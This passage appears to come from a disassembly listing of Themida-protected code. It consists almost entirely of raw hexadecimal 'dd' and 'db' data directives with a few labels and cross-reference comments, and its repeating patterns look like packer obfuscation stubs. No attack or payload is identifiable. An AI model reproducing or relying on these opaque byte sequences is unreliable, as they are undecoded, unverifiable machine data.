15h, 0BDC35646h, 3DBD03BAh, 0C7064510h, 1, 8E900h, 701C0000h dd 0E6B3295Bh, 41C7FBF2h, 4, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 61A6991Bh dd 81FA897Dh, 8D09613Eh, 64530FDh, 0FE9h, 0DCFF6C00h, 19CDD826h dd 859448E6h, 0A1962311h, 840FC00Bh, 0A6h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0EAC35141h, 0F1680D93h dd 0E80ED217h, 7, 4A094F7Bh, 0E81710C5h, 14h, 0C85916Dh dd 9DFE7F95h, 7D53C9BCh, 73DD2433h, 0F238137Dh, 0E72BBF66h dd 8D8D5E5Fh, 6454E1Ch, 28FDB58Bh, 60520645h, 4E88166h dd 2D9D01B8h, 61064521h, 5B85Eh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 56A2CAC3h dd 0C8B0Fh, 8F0F0000h, 6, 1218589h, 8D890645h, 6451175h dd 0CA03E1FFh, 0FFF18DE9h, 52006AFFh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 9C3A604Bh dd 0F98B7A48h, 0E781F413h, 4F9D0959h, 2F1D9509h db 45h, 6 word_57BBE2 dw 0C18Bh ; DATA XREF: Themida_:005411F8o dd 0CE8h, 0EF686B00h, 33A81DEh, 0F1EA4BE5h, 8D8B6061h dd 6450279h, 18F1BD8Bh, 5E610645h, 4EBh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 73EEE7C3h, 7214A144h, 0C9B52902h, 6A064508h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 12F2C351h, 5C5FDE05h, 0B58BF0D4h, 64505A9h, 0D99858Dh dd 6A0645h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0FF09CAC3h, 381AF093h, 8B225B93h, 450109B5h dd 15B50B06h, 9006452Ah, 7E8h, 0CB45A900h, 93DC7A5Bh, 0B298BF60h dd 37B72B2Ch, 56505E61h, 2820Fh, 61600000h, 6A905Eh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0F93FF5C3h, 81A5DFDFh, 9DB081E6h, 89006A7Ch, 45125D85h dd 0B006A06h, 453305B5h, 99858D06h, 890648DEh, 4501859Dh dd 5C08306h, 70E68166h, 4895057h, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 9DF08CA0h dd 50E5468Eh, 9B50B5Eh, 0F06452Bh, 6AF3B7h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 28C35141h, 49A22FC2h dd 21B52BF8h, 6A064500h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 693759Ch, 0E0D5E449h dd 95FF25F7h, 6451749h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 84C35040h, 1F1774D6h, 0A2BFFA27h, 999D8DB9h dd 6A06489Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0B32CC353h, 0FFF78B9Bh, 51006AD3h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0BE0B9580h, 2C969DE2h, 32B985FFh, 0F520645h, 685h, 418D8900h dd 5E064507h, 967E9h, 0E800h, 815D0000h, 48DEA3EDh, 71B50306h dd 81064517h, 4515A5BDh, 7D006h, 65860F00h, 60000001h dd 1EADBD29h, 66600645h, 29AF83BFh, 45081985h, 8B616106h dd 4523019Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0F40694B3h, 9D98D31h, 0F78B0645h dd 100E381h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 62C9EDC3h, 0E0C1AC2Bh, 0DB0B5723h dd 9A850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 8E3749C3h, 0A4DF258h, 29AD3F09h dd 45002185h, 93BD8306h, 648DCh, 46840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 293B1CC3h, 57E95D53h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0BF48C350h dd 0F5C531E0h, 0DC9385C7h, 10648h, 8B0F0000h, 1, 20E9F8h dd 0B5890000h, 6450611h, 0DC9385C7h, 648h, 0BE90000h, 0FB000000h dd 5D803861h, 0DE6774E6h, 9D8D8589h, 6452301h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0BC35040h, 0F1F7CC3Ch dd 68E0Fh, 95890000h, 6452C8Dh, 0FEFF2381h, 9D01FFFFh dd 6453125h, 8BDB8C66h, 451DDDB5h, 4C3F606h, 37840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 3F58B1C3h, 170195FFh, 0F600645h, 5061F9B7h, 3FB25060h dd 4896158h, 3FBE6624h, 434E9E2h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F5CC7C3h dd 0B0F3BFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 48C35545h, 14E9427Eh, 5E000000h, 4FDB5F33h, 9A28E1E9h dd 0F059F43Fh, 98544E20h, 31DFCF23h, 450CED9Dh, 0E470E606h dd 53006A71h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 9408B7CCh, 66D5FAC5h, 0FB79CBEh, 6AD8B6h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0EFC6ABC3h, 95096CECh, 64523A5h, 6BAh, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0E248B4B9h, 2FE3DBC3h, 0F28BA39Dh, 0FE8h, 0DE5D2800h dd 0F14F7327h, 7936542Ch, 52DBE427h, 0B49B58Bh, 8B5E0645h dd 0D8E3BEC3h, 0E8C17102h, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 7A4BCE2h, 522B0814h dd 850F780Ch, 6, 305DB58Bh, 800F0645h, 1, 0E2F766F9h, 0A35AC681h dd 0D82B7720h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 31C35545h, 0AB4947C0h, 6FCEFC93h, 28BDBE77h, 509370C0h dd 0FF28B52h, 0E3BE6631h, 50585A40h, 4E95BE52h, 935E49C5h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 24C35545h dd 3DBE66D9h, 79B501A8h, 0FF064512h, 4515A5B5h, 5DB58B06h dd 0FF06452Ah, 45312195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0BE2D0DF6h dd 2AFE0244h, 6600B000h, 70E6F08Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0A2C35747h, 0E4E68593h, 613CF971h dd 220830Fh, 8B660000h, 0D8B60FF7h, 0DE8B6660h, 28D0Fh dd 58560000h, 6BA61h, 0C38B0000h, 0C1F6B70Fh, 10E804E8h dd 0A9000000h, 0D588D5BCh, 5A15606Ch, 7AF51282h, 310226B6h dd 452CC9BDh, 0F7665E06h, 56006AE2h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 45DE4B29h dd 8F65667Ah, 85896368h, 6451099h, 6AD82Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 82F3D6C3h dd 4E47DF71h, 0E95409D1h, 8, 0C14BCA51h, 0EC78FC85h, 56006A58h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0F5BD89D1h, 2B06451Fh, 57880FD8h, 6A000001h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 17CAC357h, 0EDB797E5h, 83B52DFAh, 7B9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0D73758B9h, 0B3217F3Eh, 8F7EBE66h, 3B00C183h, 0FB860FD9h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 2EBFC357h, 0B3012BEDh, 0F876F5Eh dd 680h, 0C1B58B00h, 66064521h, 0B70FD98Ch, 4C1F6F6h, 0BA840Fh dd 9D290000h, 6452581h, 2BC9B58Bh, 95FF0645h, 6451701h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0B0C35040h dd 0AC643C63h, 3157F1A8h, 4520A595h, 0F08B6606h, 6AC32B5Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 44BDC351h, 870FB13Bh, 1Dh, 17850Fh, 11E80000h dd 39000000h, 0E098CB64h, 53BB810h, 0D02EB8ADh, 751202D0h dd 8DEE815Eh dd 3D2E8C19h, 834h, 26860Fh, 0BE90000h, 98000000h, 0A1E100B5h dd 0D855DF4Fh, 13E9CB52h, 60000000h, 9E9FCh, 88B60000h dd 0CDB06DFCh, 61270F81h, 0C38BC08Bh, 6AD88Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0CD5A8C3h, 0C137A2C5h, 3BD8D09h, 85C70645h, 64529B5h dd 78AE171Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0C0C35343h, 4FB6B59Eh, 13E82C9Ah, 0BF000000h, 0AE858BC6h dd 3A5E444Ah, 63B42AEAh, 0DF04A260h, 0B58B76F0h, 64502C9h dd 81C08B5Eh, 1731A4CEh, 0A5BD814Fh, 0D0064515h, 0F000007h dd 3785h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0B58B7ACDh, 6452C71h, 0E7DDF681h dd 85FF796Ch, 64515A5h, 17DB523h, 0F78B0645h, 15A5B5FFh dd 6A0645h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 80B7D4C3h, 65B58BA2h, 0FF064532h, 45312195h dd 90F78B06h, 6AD88Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 8FE935C3h, 9589502Ch, 6450B51h dd 6E85Eh db 2 dup(0) word_57C542 dw 4FCh ; DATA XREF: Themida_:005401D0o dd 0A7AFD601h, 0D2CB8160h, 897ECD69h, 45104585h, 835E6106h dd 450715BDh, 840F0006h, 45h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 67C35242h, 0B9E981CAh, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8B72C356h, 453151B5h, 6ADF8C06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 1738C350h, 38A0F43h, 66000000h, 0F766F18Bh, 0F0004C7h dd 16385h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0E7AED871h, 9F46D819h, 0B501216Dh dd 645225Dh, 840FFF2Bh, 1, 5DB589F9h, 8D06452Bh, 48E7879Dh dd 0D9D8906h, 50064530h, 8C7BBE66h, 89241C89h, 453109BDh dd 35FF6406h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 7FC35545h dd 0F52B911Bh, 6CACE899h, 2A79BD89h, 8D890645h, 6450129h dd 258964h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 6634C350h, 0C48BF28Bh dd 10E9h, 0B8A5B600h, 2FC5B3F6h, 0D3808E6Fh, 6CBE851Bh dd 0EB01CD83h, 64F28B00h, 58Fh, 8B660000h, 6870FF3h, 2B000000h dd 45124DB5h, 4C48306h, 840FC00Bh, 74h, 2C7DBD29h, 0BD8D0645h dd 6454E1Ch, 0AE9h, 6A482C00h, 0D0D4FC01h, 0B8B376C6h dd 5, 1DADB58Bh, 0E7FF0645h, 21D1B58Bh db 45h, 6 word_57C6FA dw 8B57h ; DATA XREF: Themida_:00540F80o dd 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h dd 2000000h, 0C3C0335Fh, 23558589h, 6A0645h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 595D85C3h dd 0CAE9CA2Bh, 6AFFFFF6h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0D452C351h, 7F4B18DEh dd 0B0B1F294h, 1159B58Bh, 0EE810645h db 0C0h byte_57C775 db 0F6h, 47h, 6Dh ; DATA XREF: Themida_:0053E978o dd 6AC18Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 5FC80EC3h, 295C5D06h, 45181185h, 4EB06h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 34D3C353h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 13C35747h, 1BBA73C4h, 0F2B70F02h dd 0D99858Dh, 6A0645h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0FAD53C3h, 688h, 7D9D2900h, 50064501h dd 238CB860h, 8B603786h, 61D08BF8h, 24048961h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 6AC35343h, 0BE960h dd 0F470000h, 0FF502C0Dh, 0D1D69BD0h, 59D0161h, 61064509h dd 9006AF5h, 452C1D8Dh, 8D006A06h, 48E9A285h, 7EE68106h dd 836969EFh, 0BD8B05C0h, 645311Dh, 0F525090h, 11E931h dd 96910000h, 399B4957h, 0DCFD68B9h, 1B7C2F3Ch, 5AB136FCh dd 66905058h, 6AF28Bh, 6AF38B66h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 2E158CB3h dd 0E8B8C7EBh, 817CBE66h, 174995FFh, 0BE500645h, 53AF19BEh dd 999D8D5Fh, 0FF06489Dh, 52006AD3h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 45CC0A4Eh dd 331355B0h, 450485BDh, 0B985FF06h, 8B064532h, 4509BDBDh dd 7CEE906h, 0E80000h, 5D000000h, 0E9ACED81h, 6A0648h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0EC99B1C3h, 8DBD0376h, 6606451Ch, 0BD81FE8Bh, 64515A5h dd 7D0h, 0F8860Fh, 840F0000h, 1, 0E59D8BF8h, 6A064530h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 81BAC355h, 100E3h, 39B58B00h, 89064507h dd 4510E9BDh, 0FDB0B06h, 9785h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 8CEC0F40h dd 500DEB1Ch, 83F89BF6h, 48E830BDh, 840F0006h, 4Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2EC35242h, 0DB8E98F9h dd 29E844CCh, 45173995h, 42E906h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 5A4ADCC3h dd 3085C741h, 10648E8h, 0BE000000h, 4FE010D7h, 0FE9h, 0F7B70F00h dd 0E83085C7h, 648h, 0F98B0000h, 30E59D8Dh, 0B58B0645h dd 6450AD5h, 0FEFF2381h, 8C66FFFFh, 28B0FDBh, 8B000000h dd 4C3F6F1h, 0A9840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 93348BC3h, 7DF66AD7h dd 577D9EB8h, 28999D89h, 0FF5E0645h, 45170195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 5FDA4392h, 6E2F1E38h, 0BD8B3435h, 6451775h, 2840F90h dd 8B000000h, 0E86050FAh, 0Fh, 29AA1887h, 767B8B8Ch, 97FC0ADEh dd 52C0D544h, 90615E59h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0BAC35040h, 0A24D1AFFh, 91BD8BAFh, 0E9064508h dd 3DDh, 0CE9h, 97299700h, 2235248Bh, 9F2CA278h, 6A00B033h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 2702C353h, 70E6FA8Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 7BC35242h, 816645E9h, 0E45058EEh dd 65BD8B71h, 0F9064512h, 6AD8B60Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0E6A3C356h dd 4FD94B22h, 0BD291907h, 6452CC1h, 6BAh, 0BD8B6000h, 6452A2Dh dd 0A370E9BEh, 0C38B6160h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 39C35747h, 9C7101F9h, 897FF3C9h, 4509918Dh dd 4E8C106h, 445BD0Bh, 0F7660645h, 56006AE2h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 3BC49BAEh dd 660F2E31h, 6789C781h, 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 9E064EC3h, 8509C0E3h dd 6452525h, 50F78B93h, 50006A93h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 1BE6AA9Fh, 0DD8D0156h dd 5E064528h, 15A5B5FFh, 0B70F0645h, 2195FFF9h, 8B064531h dd 451FD1BDh, 0C5BD8906h, 0B006452Eh, 5670E600h, 771B531h dd 0E45F0645h, 0F613C71h, 25C83h, 55B58B00h, 0F06452Bh dd 6AD8B6h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 1E7549C3h, 274B6002h, 667A4F16h, 661986BEh dd 0BAF889BEh, 6, 6AC38BF9h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0C15CC352h, 6A04E8h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0F271AC3h, 1FEE81EDh, 66793631h, 0B58BE2F7h, 6451739h dd 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 609E45C3h, 9D297B17h, 6451341h, 57006A58h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 68B5F0F4h, 562D3F89h, 0FD82B5Fh, 17C88h, 4ADE8100h dd 0B90CC9D1h, 7, 236DBD89h, 0C1830645h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 15BD8BCCh, 3B06452Bh, 3E860FD9h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 66DCC356h, 0B421EF81h, 6AD98C66h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 2F0BC351h dd 2965B58Bh, 0C1F60645h, 0E6840F04h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0D46AC353h, 0BD8984D6h, 645004Dh, 170195FFh, 0B7600645h dd 0E88166B0h, 5B61CC99h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0C3C35343h, 0E9764C57h, 23B1BD8Bh, 89570645h dd 452305B5h, 0C32B5E06h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0FDC35646h, 6CA61A1Eh, 0D24DCA0Bh, 6830Fh dd 9D290000h, 6452185h, 8343Dh, 46860F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 7EF3C357h, 12E9DBh, 5200000h, 0FD44FF24h, 99345900h dd 7867FE89h, 7778CD31h, 975B589h, 0EE90645h, 89000000h dd 4506DD95h, 8BC08B06h, 450285B5h, 8BC38B06h, 3870FD8h dd 66000000h, 85C7F28Bh, 6452301h, 39F0F75Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0BEC35747h, 6AC08Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 1B5B0AC3h, 30B9B18Dh, 81FC75F7h, 4515A5BDh, 7D006h dd 27850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h dd 66BEC350h, 85FFFA8Bh, 64515A5h, 0B5FFFB8Bh, 64515A5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 96C35242h dd 0FE8B5709h, 2195FF5Eh, 33064531h, 4502C9BDh, 9D899006h dd 6453275h, 89F3BF0Fh, 45299595h, 498D3106h, 8106450Bh dd 0C50CA0F7h, 56006A44h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0BE4849D2h, 459470C7h dd 1A880Fh, 8B600000h, 0F1BD29D3h, 61064524h, 0BE9h, 9AF2DF00h dd 9675B1F1h, 11EAEB13h, 754847BEh, 53006A5Ah, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 6D9AC61Ch dd 0E04732Eh, 6ABA59h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0CC76FC3h, 10599589h, 6A0645h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0FA2F2AC3h, 0BF19BFF7h, 25C87743h, 31AD8509h, 0B5230645h dd 6450DF9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0C9C35343h, 0AF911706h, 0BF008368h, 284FE9E3h dd 0FFF855E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 852962D8h db 91h, 29h word_57D0E6 dw 645h ; DATA XREF: Themida_:0054037Co dd 9D29C18Bh, 64518F1h, 4EBh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 4D6B3AC3h dd 0F964F7E9h, 53749DC6h, 38A0Fh, 8B660000h, 858D5FF3h dd 6450D99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 42C35545h, 95896F7Bh, 6450BF1h, 179DBD89h, 8B900645h dd 525050F0h, 0BE9h, 5B3E1B00h, 0BDE5252Fh, 0ADBD5A1Eh dd 585A310Fh, 0E7816690h, 6A68B9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 58C35040h, 0ED76B825h, 13409F43h dd 65B589EDh, 81064502h, 87E099F6h, 6A006A30h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0C4A2C351h, 8DB2E4A0h, 48F42585h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E91D68D9h dd 12h, 6C8A19D9h, 42239DAFh, 0EFC0495Ah, 0AD1B3BC6h, 0C083A3FEh dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 6DBD8BB4h, 9064513h, 452FFDB5h, 11E85006h dd 0 dd 78EFD23Eh, 1FB27A69h, 5923E2E8h, 0FD1F6DC5h, 0BE616060h dd 5DEE445h, 4895E61h, 9D895124h, 6451EB9h, 6A006A5Fh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 5B50C351h, 1A1D6749h, 1B58B63h, 53064520h dd 89E58A60h, 4511E595h, 6A5F6106h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 79E427Fh, 39FFAF3Eh dd 8E0FD255h, 6, 175B533h, 95FF0645h, 6451749h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 21C35242h, 8C20FED8h dd 0F2C36B70h, 9E860h, 1B9F0000h, 0F63540F1h, 0E90331F6h dd 0Bh, 2F5B3E1Bh, 1EBDE525h, 5FADBD5Ah, 1135958Bh, 8D610645h dd 489D999Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 12DD7DCDh, 60606776h, 61F5D6B5h dd 6AD3FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0A87FEFC3h, 8BDE30EAh, 45016DBDh, 79852906h dd 0FF064510h, 4532B985h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0B4833C90h dd 7AAE9h, 0E800h, 815D0000h, 48F42FEDh, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 890F53h, 81000000h, 4515A5BDh, 7D006h, 81860F00h, 8B000001h dd 450CA5BDh, 20BE6606h, 0E59D8BABh, 6A06451Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 4A7C352h, 0E89A2542h, 0Dh, 0FC42653Bh, 5A2E42EFh, 7396952Dh dd 0C1BD8B8Ch, 5E064505h, 100E381h, 8B600000h, 4509C58Dh dd 0E9BD0906h, 61064512h, 850FDB0Bh, 9Bh, 45D9D29h, 0BD830645h dd 648F17Fh, 2B840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 94D5C353h dd 0FC61D750h, 0E9F28BB4h, 6Ch, 85C7FE8Bh, 648F17Fh, 1 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 53C35040h dd 0BFA3D2AAh, 8589A095h, 6450D9Dh, 33E9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0F314708Fh, 1810Fh, 0C7F50000h, 48F17F85h, 6, 0FB8B6600h dd 1CE59D8Dh, 6A0645h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0EA5CD5C3h, 0C343F15Ch, 0BF60474Ah dd 57C3D561h, 0DE860h, 9C4F0000h, 71B9A04Fh, 762CAB24h dd 5F4CED89h, 23816161h, 0FFFFFEFFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 7BC35747h, 0CCEFBE5Eh, 0B58920A0h dd 6450175h, 0E9DB8C66h, 0Ch, 138C91A2h, 0B95CB2B9h, 99B80E75h dd 0F04C3F6h, 5384h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 701F8A6Ah, 13823504h dd 170195FFh, 0B5030645h, 645065Dh, 24048950h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 33C35747h, 0BC12BF66h dd 38AE9h, 0E800B000h, 12h, 531B7186h, 0B6DD39B7h, 2E1F48A7h dd 0E941868Dh, 0E65ED2D3h, 52006A70h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0C84DB852h dd 0E4FE8B66h, 52006A71h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 655C1E67h, 24ADF95Dh dd 0BD8B57E7h, 64506C1h, 0D8B60F5Eh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0E7C35242h, 8B24888Eh, 451739BDh dd 6BA06h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 6B3666C3h, 3E60AFD9h, 8B966D32h dd 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 6800FFEh, 8B000000h, 4530A5B5h, 13850F06h dd 0E9000000h, 0Eh, 7BFC4E98h, 0D9236251h, 4AAC1E37h, 0E8C1FF8Ah dd 0F38B6604h, 6AE2F766h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 9D25C352h, 0B836BABFh dd 89D82B37h, 452ADD8Dh, 0E9509306h, 10h, 5789B02h, 1AAE150Ch dd 0A7BD8416h, 0D27C1819h, 57006A93h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0FF6FE882h dd 4515A5B5h, 0E9CF8106h, 0FF2817CBh, 45312195h, 0E600B006h dd 53006A70h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 3B5CD4E8h, 5C59BE53h, 0E45E11E9h, 0DF816671h dd 8B573E08h, 45108DB5h, 613C5E06h, 1CD830Fh, 0BD8B0000h dd 6451131h, 0E9D8B60Fh, 0Bh, 96D28F6Fh, 42570952h, 0BA7E1A06h dd 6, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0E8C14FC3h, 29BD8904h, 1064511h dd 450965BDh, 0E2F76606h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0A1C35242h, 0A3A059C4h, 6820Fh, 0BD8B0000h dd 6452A79h, 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 8B03E4C3h, 450419BDh, 6A5806h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 